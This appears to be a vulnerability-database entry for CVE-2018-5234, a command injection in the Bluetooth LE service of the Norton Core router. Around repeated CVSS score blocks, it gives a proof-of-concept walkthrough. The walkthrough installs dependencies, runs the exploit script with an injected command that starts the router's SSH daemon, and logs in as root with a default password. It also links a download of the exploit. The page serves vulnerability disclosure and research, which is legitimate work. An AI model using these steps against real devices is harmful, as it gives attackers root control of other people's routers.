8.3 High
CVSS2
Attack Vector
ADJACENT_NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
COMPLETE
Integrity Impact
COMPLETE
Availability Impact
COMPLETE
AV:A/AC:L/Au:N/C:C/I:C/A:C
8 High
CVSS3
Attack Vector
ADJACENT
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
REQUIRED
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.0/AV:A/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
8 High
AI Score
Confidence
High
0.007 Low
EPSS
Percentile
80.8%
# PoC command injection in BLE service of Norton Core Secure WiFi Router (CVE-2018-5234)
For more information read
[paper](https://embedi.com/blog/whos-watching-the-watchers-vol-ii-norton-core-secure-wifi-router).
To demonstrate the exploitation, we will use:
- OS GNU/Linux;
- Bluetooth dongle adapter;
- BlueZ utility (for testing Bluetooth connection).
In order to use the script, we will need to set all dependencies in a advance:
```shell
$ pip install -r ./requirements.txt
```
With the help of `BlueZ` utilities, we should ensure Bluetooth is enabled and
functions properly.
1. Restart the router to provide access to the engineering page.
2. Start the PoC on behalf of the root user (required for operating with
Bluetooth) with the command on executing as an argument:
```shell
$ ./ble_norton_core.py "/etc/init.d/dropbear start"
```
After the script is successfully executed, we get access to the device via
the SSH connection. We put `root` as a user and `admin` as password:
```shell
$ ssh [email protected]
```
Download: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/44574.zip
8.3 High
CVSS2
Attack Vector
ADJACENT_NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
COMPLETE
Integrity Impact
COMPLETE
Availability Impact
COMPLETE
AV:A/AC:L/Au:N/C:C/I:C/A:C
8 High
CVSS3
Attack Vector
ADJACENT
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
REQUIRED
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.0/AV:A/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
8 High
AI Score
Confidence
High
0.007 Low
EPSS
Percentile
80.8%